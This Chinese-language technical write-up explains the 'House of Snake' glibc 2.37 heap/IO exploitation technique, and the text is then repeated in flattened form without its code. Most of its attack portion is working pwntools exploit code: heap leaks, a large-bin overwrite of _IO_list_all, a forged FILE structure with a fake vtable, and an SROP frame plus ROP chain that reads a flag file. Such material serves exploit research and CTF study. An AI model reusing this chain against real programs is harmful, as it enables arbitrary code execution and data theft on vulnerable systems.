glibc2.37高版本io利用之House of Snake
字数 1853 2025-08-22 12:22:48

House of Snake - glibc 2.37高版本IO利用技术分析

一、技术背景

House of Snake是针对glibc 2.37版本中新增的_IO_printf_buffer_as_file_jumps虚表结构的一种利用技术。在glibc 2.37中,_IO_obstack_jumps被移除,但新增了_IO_printf_buffer_as_file_jumps这个新的_IO_jumps_t结构体。

二、关键数据结构分析

1. _IO_printf_buffer_as_file_jumps虚表结构

static const struct _IO_jump_t _IO_printf_buffer_as_file_jumps libio_vtable = {
    JUMP_INIT_DUMMY,
    JUMP_INIT(finish, NULL),
    JUMP_INIT(overflow, __printf_buffer_as_file_overflow),
    JUMP_INIT(underflow, NULL),
    JUMP_INIT(uflow, NULL),
    JUMP_INIT(pbackfail, NULL),
    JUMP_INIT(xsputn, __printf_buffer_as_file_xsputn),
    JUMP_INIT(xsgetn, NULL),
    JUMP_INIT(seekoff, NULL),
    JUMP_INIT(seekpos, NULL),
    JUMP_INIT(setbuf, NULL),
    JUMP_INIT(sync, NULL),
    JUMP_INIT(doallocate, NULL),
    JUMP_INIT(read, NULL),
    JUMP_INIT(write, NULL),
    JUMP_INIT(seek, NULL),
    JUMP_INIT(close, NULL),
    JUMP_INIT(stat, NULL),
    JUMP_INIT(showmanyc, NULL),
    JUMP_INIT(imbue, NULL)
};

2. __printf_buffer_as_file结构体

struct __printf_buffer {
    char *write_base;
    char *write_ptr;
    char *write_end;
    uint64_t written;
    enum __printf_buffer_mode mode;
};

struct __printf_buffer_as_file {
    /* Interface to libio. */
    FILE stream;
    const struct _IO_jump_t *vtable;
    /* Pointer to the underlying buffer. */
    struct __printf_buffer *next;
};

3. __printf_buffer_obstack结构体

struct __printf_buffer_obstack {
    struct __printf_buffer base;
    struct obstack *obstack;
    char ch;
};

三、利用链分析

1. 关键函数调用流程

  1. _IO_flush_all_lockp调用_IO_OVERFLOW(fp, EOF)
  2. 跳转到__printf_buffer_as_file_overflow函数
  3. 调用__printf_buffer_as_file_commit
  4. 调用__printf_buffer_flush
  5. 调用__printf_buffer_do_flush
  6. 调用__printf_buffer_flush_obstack
  7. 调用obstack_1grow
  8. 调用_obstack_newchunk
  9. 调用CALL_CHUNKFUN

2. 关键条件检查

__printf_buffer_as_file_overflow函数中:

  • file->next->mode != __printf_buffer_mode_failed
  • file->next->write_ptr == file->next->write_end

__printf_buffer_as_file_commit函数中:

  • file->stream._IO_write_ptr >= file->next->write_ptr
  • file->stream._IO_write_ptr <= file->next->write_end
  • file->stream._IO_write_base == file->next->write_base
  • file->stream._IO_write_end == file->next->write_end

__printf_buffer_flush函数中:

  • file->next->mode = __printf_buffer_mode_obstack

__printf_buffer_flush_obstack函数中:

  • buf->base.write_ptr == &buf->ch + 1 (即file->next.write_ptr == &(file->next) + 0x30 + 1)

obstack_1grow宏定义中:

  • (struct __printf_buffer_obstack *)file->obstack->next_free + 1 > (struct __printf_buffer_obstack *)file->obstack->chunk_limit
  • (struct __printf_buffer_obstack *)file->obstack->use_extra_arg != 0

四、利用步骤详解

1. 堆布局准备

add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
free(2)
free(0)
edit(2, 'a')
show(2)

2. 泄露libc地址

libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96 + ord('a'))
info("libc base: " + hex(libc.address))

3. 泄露堆地址

edit(2, b'\x00')
show(0)
heap_base = u64(io.recvuntil((b'\x55\x55'))[-6:].ljust(8, b'\x00')) & ~0xFFF
info("heap base: " + hex(heap_base))

4. 修改IO_list_all指针

add(0, 0x418)
edit(2, p64(0)*3 + p64(libc.sym['_IO_list_all'] - 0x20))
free(0)
add(0, 0x408)
edit(2, p64(libc.sym['main_arena'] + 1104)*2 + p64(heap_base + 0x6d0)*2)
add(2, 0x428)

5. 构造伪造的IO_FILE结构

file_addr = heap_base + 0x6d0
payload_addr = file_addr + 0x10
frame_addr = file_addr + 0x168
rop_addr = frame_addr + 0xf8
buf_addr = rop_addr + 0x60
obstack_addr = file_addr + 0x110
ch_1_addr = obstack_addr + 8 + 1

fake_file = b""
fake_file += p64(1)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(ch_1_addr)  # _IO_write_ptr
fake_file += p64(ch_1_addr)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base
fake_file += p64(0)  # _IO_buf_end
fake_file += p64(0)*4  # from _IO_save_base to _markers
fake_file += p64(0)  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(frame_addr)  # _old_offset
fake_file += p16(1)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(file_addr + 0x10)  # _IO_wide_data_1
fake_file += p64(0)*3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00"*19  # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')  # adjust to vtable
fake_file += p64(libc.address + 0x1d2ae0)  # fake vtable
fake_file += p64(file_addr + 0xe8)  # next
fake_file += p64(0)  # write_base
fake_file += p64(0)  # write_ptr
fake_file += p64(ch_1_addr)  # write_end
fake_file += p64(0)  # written
fake_file += p64(11)  # mode
fake_file += p64(obstack_addr)  # obstack
fake_file += p64(0)*6
fake_file += p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'), executable=True)))  # chunkfun
fake_file += p64(0)  # freefun
fake_file += p64(frame_addr)  # extra_arg
fake_file += p8(1)  # use_extra_arg

6. 构造SROP帧和ROP链

frame = SigreturnFrame()
frame.rdi = buf_addr
frame.rsi = 0
frame.rsp = rop_addr
frame.rip = libc.sym['open']
frame = bytearray(bytes(frame))
frame[8:8+8] = p64(frame_addr)
frame[0x20:0x20+8] = p64(libc.sym['setcontext'] + 61)
frame = bytes(frame)

# ROP chain
rop = b""
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(3)
rop += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(next(libc.search(asm('pop rdx; pop r12; ret;'), executable=True)))
rop += p64(0x100)
rop += p64(0)
rop += p64(libc.sym['read'])
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(libc.sym['puts'])

7. 构造完整payload并触发

payload = b""
payload += fake_file
payload = payload.ljust(frame_addr - payload_addr, b'\x00')
payload += frame
payload = payload.ljust(rop_addr - payload_addr, b'\x00')
payload += rop
payload = payload.ljust(buf_addr - payload_addr, b'\x00')
payload += b'./flag\x00'

edit(2, payload)
io.sendafter("choice:", "5")
io.interactive()

五、技术要点总结

  1. 利用glibc 2.37新增的_IO_printf_buffer_as_file_jumps虚表结构
  2. 通过伪造IO_FILE结构体控制程序执行流
  3. 利用__printf_buffer_as_file_overflow函数中的__printf_buffer_flush调用链
  4. 最终通过obstack_1grow宏中的CALL_CHUNKFUN实现任意代码执行
  5. 结合SROP和ROP技术实现完整的利用链

六、防御措施

  1. 及时更新glibc版本
  2. 启用堆保护机制如ASLR、FORTIFY_SOURCE等
  3. 对用户输入进行严格验证
  4. 避免使用不安全的函数如getsscanf
House of Snake - glibc 2.37高版本IO利用技术分析 一、技术背景 House of Snake是针对glibc 2.37版本中新增的 _IO_printf_buffer_as_file_jumps 虚表结构的一种利用技术。在glibc 2.37中, _IO_obstack_jumps 被移除,但新增了 _IO_printf_buffer_as_file_jumps 这个新的 _IO_jumps_t 结构体。 二、关键数据结构分析 1. _IO_printf_buffer_as_file_jumps 虚表结构 2. __printf_buffer_as_file 结构体 3. __printf_buffer_obstack 结构体 三、利用链分析 1. 关键函数调用流程 _IO_flush_all_lockp 调用 _IO_OVERFLOW(fp, EOF) 跳转到 __printf_buffer_as_file_overflow 函数 调用 __printf_buffer_as_file_commit 调用 __printf_buffer_flush 调用 __printf_buffer_do_flush 调用 __printf_buffer_flush_obstack 调用 obstack_1grow 宏 调用 _obstack_newchunk 调用 CALL_CHUNKFUN 宏 2. 关键条件检查 在 __printf_buffer_as_file_overflow 函数中: file->next->mode != __printf_buffer_mode_failed file->next->write_ptr == file->next->write_end 在 __printf_buffer_as_file_commit 函数中: file->stream._IO_write_ptr >= file->next->write_ptr file->stream._IO_write_ptr <= file->next->write_end file->stream._IO_write_base == file->next->write_base file->stream._IO_write_end == file->next->write_end 在 __printf_buffer_flush 函数中: file->next->mode = __printf_buffer_mode_obstack 在 __printf_buffer_flush_obstack 函数中: buf->base.write_ptr == &buf->ch + 1 (即 file->next.write_ptr == &(file->next) + 0x30 + 1 ) 在 obstack_1grow 宏定义中: (struct __printf_buffer_obstack *)file->obstack->next_free + 1 > (struct __printf_buffer_obstack *)file->obstack->chunk_limit (struct __printf_buffer_obstack *)file->obstack->use_extra_arg != 0 四、利用步骤详解 1. 堆布局准备 2. 泄露libc地址 3. 泄露堆地址 4. 修改IO_ list_ all指针 5. 构造伪造的IO_ FILE结构 6. 构造SROP帧和ROP链 7. 构造完整payload并触发 五、技术要点总结 利用glibc 2.37新增的 _IO_printf_buffer_as_file_jumps 虚表结构 通过伪造IO_ FILE结构体控制程序执行流 利用 __printf_buffer_as_file_overflow 函数中的 __printf_buffer_flush 调用链 最终通过 obstack_1grow 宏中的 CALL_CHUNKFUN 实现任意代码执行 结合SROP和ROP技术实现完整的利用链 六、防御措施 及时更新glibc版本 启用堆保护机制如ASLR、FORTIFY_ SOURCE等 对用户输入进行严格验证 避免使用不安全的函数如 gets 、 scanf 等